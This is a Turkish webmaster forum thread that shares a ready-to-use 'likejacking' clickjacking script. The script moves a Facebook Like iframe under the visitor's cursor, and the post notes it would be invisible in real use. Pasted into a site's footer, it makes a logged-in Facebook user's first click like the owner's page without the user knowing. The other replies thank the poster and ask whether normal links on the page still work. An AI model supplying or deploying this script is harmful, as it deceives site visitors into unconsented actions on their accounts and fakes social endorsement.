• 19-12-2010, 17:42:47
    #1
    Sitenizde her hangi bir yere tıklandığında kullanıcı facebook üyesi ise ve facebook girişi yapmışsa ilk tıklamada sitenizi beğenmiş oluyor

    script kaynağı http://erickerr.com/like-clickjacking script dosyası http://erickerr.com/misc/like-clickjacking.js

    script ana dizine atılacak ve kodu </body> tagının altına eklenecek

    örnek;

    <script src="http://site.com/clickjack.js"></script>

    wordpress kullanalar temalarının footer.php dosyasında </body> altına ekleyerek kullanabilirler

    script kodu içindeki

    http://erickerr.com/like-clickjacking
    adresini kendi facebook sayfanıza göre düzenlemeyi unutmayın


    (function(){
      var tempX = 0,
      tempY = 0,
      IE = document.all ? true : false;
      
      if (!IE) document.captureEvents(Event.MOUSEMOVE);
      
      var like = document.createElement('iframe');
      like.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(/*document.location.href*/ 'http://erickerr.com/like-clickjacking') + '&amp;layout=standard&amp;show_faces=true&amp;width=53&amp;action=like&amp;colorscheme=light&amp;height=80';
      like.scrolling = 'no';
      like.frameBorder = 0;
      like.allowTransparency = 'true';
      like.style.border = 0;
      like.style.overflow = 'hidden';
      like.style.cursor = 'pointer';
      like.style.width = '53px';
      like.style.height =  '23px';
      like.style.position = 'absolute';
      like.style.opacity = .8; //Would be 0 if really used
      document.getElementsByTagName('body')[0].appendChild(like);
      
      window.addEventListener('mousemove', mouseMove, false);
      
      setTimeout(function(){
        document.getElementsByTagName('body')[0].removeChild(like);
        window.removeEventListener('mousemove', mouseMove, false);
      }, 10000);
      
      function mouseMove(e) {
        if (IE) {
          tempX = event.clientX + document.body.scrollLeft;
          tempY = event.clientY + document.body.scrollTop;
        } else {
          tempX = e.pageX;
          tempY = e.pageY;
        }
        
        if (tempX < 0) tempX = 0;
        if (tempY < 0) tempY = 0;
        
        like.style.top = (tempY - 8) + 'px';
        like.style.left = (tempX - 25) + 'px';
        
        return true
      }
    })();
  • 19-12-2010, 17:43:50
    #2
    Üyeliği durduruldu
    https://www.r10.net/sosyal-aglar/8047...-begensin.html

  • 19-12-2010, 17:52:46
    #3
    hocam ben yazıyı yazarken sizde yorumu göndermişsiniz haberim yoktu
  • 19-12-2010, 17:56:34
    #4
    Süper paylaşım olmuş Teşekkürler hocam
  • 19-12-2010, 18:35:55
    #5
    Paylaşım için teşekkürler. Fakat önceden başka bir kod denemiştim. Sayfayı kitliyordu. Herhangi bir yere tıklayınca adresini verdiğim facebook sayfasını beğeniyordu ama sayfadaki linklere tıklanmıyordu bu seferde.

    Verdiğiniz kodda böyle bir sorun varmı acaba ?
  • 19-12-2010, 19:03:11
    #6
    scrol adlı üyeden alıntı: mesajı görüntüle
    Paylaşım için teşekkürler. Fakat önceden başka bir kod denemiştim. Sayfayı kitliyordu. Herhangi bir yere tıklayınca adresini verdiğim facebook sayfasını beğeniyordu ama sayfadaki linklere tıklanmıyordu bu seferde.

    Verdiğiniz kodda böyle bir sorun varmı acaba ?
    evet güzel bir yazı yazmışsın bende merak ediorum bu da mı öyle?
  • 19-12-2010, 20:33:57
    #7
    yazıyı hazırlarken lokalde wordpress ile denemiştim sorun olmadı
  • 19-12-2010, 23:11:58
    #8
    gevv adlı üyeden alıntı: mesajı görüntüle
    yazıyı hazırlarken lokalde wordpress ile denemiştim sorun olmadı
    çalışan wordpress sitede denediniz mi acaba ? Bir demo yapsanız da bizde görsek çalışıp çalışmadığı
  • 20-12-2010, 19:36:11
    #9
    hocam zor bir şey değilki sitenizde deneyebilir sonucu görebilirsiniz